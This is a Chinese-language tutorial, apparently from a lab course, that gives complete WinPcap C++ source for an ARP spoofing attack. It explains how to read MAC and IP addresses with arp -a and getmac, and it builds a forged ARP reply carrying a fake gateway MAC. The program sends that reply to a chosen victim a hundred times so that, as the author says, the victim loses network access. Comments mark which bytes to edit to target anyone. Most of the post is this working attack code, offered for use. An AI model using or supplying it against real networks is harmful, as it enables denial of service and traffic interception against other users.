首先要知道本身的物理地址和你要欺騙的ip地址和物理地址
網絡
能夠在電腦cmd下用arp -a 知道獲取對方的ip地址和物理地址,還有用getmac來獲取本身的地址ide
而後在運行studio 1000 將下列代碼複製運行spa
// WinpCap Test.cpp : 定義控制檯應用程序的入口點。ip
//rem
#include "stdafx.h"get
#include <pcap.h>cmd
int _tmain(int argc, _TCHAR* argv[])it
{io
pcap_if_t * allAdapters;//適配器列表function
pcap_if_t * adapter;
pcap_t * adapterHandle;//適配器句柄
u_char packet[ 1020 ]; //待發送的數據封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯誤信息緩衝區
if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//檢索機器鏈接的全部網絡適配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}
if( allAdapters == NULL )
{//不存在任何適配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}
int crtAdapter = 0;
for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍歷輸入適配器信息(名稱和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );
//選擇適配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );
if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
pcap_freealldevs( allAdapters );// 釋放適配器列表
return -1;
}
adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;
// 打開指定適配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定適配器打開失敗
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 釋放適配器列表
pcap_freealldevs( allAdapters );
return -1;
}
pcap_freealldevs( allAdapters );//釋放適配器列表
//建立數據封包
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x62; packet[5] = 0x4e; // 被騙計算機的mac地址
packet[6] = 0x10; packet[7] = 0x78; packet[8] = 0xd2; packet[9] = 0xfc; packet[10] = 0x59; packet[11] = 0x79; // 本身的mac地址
packet[12] = 0x08; packet[13] = 0x06; // 以太網封裝arp協議(不用動)
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:表明以太網
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:表明IP協議
packet[18] = 0x06; // arp第3字段:表明第二層地址的長度
packet[19] = 0x04; // arp第4字段:表明第三層地址的長度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:這是一個arp應答報文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的網關地址,
packet[28] = 0xac; packet[29] = 0x1c;packet[30] = 0x0f; packet[31] = 0xfe; // 網關的ip,這裏是172.28.15.254(在本實驗室不用改)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x62; packet[37] = 0x4e; // 被騙計算機的mac地址
packet[38] = 0xac; packet[39] = 0x1c;packet[40] = 0x0f; packet[41] = 0x0d; // 被騙計算機的IP地址,這裏是172.28.15.19 (想騙誰,這裏就改爲誰的IP)
//發送數據封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}
system( "PAUSE" );
return 0;
}
配置好一切錯誤運行就能夠了,這樣對方就上不了網了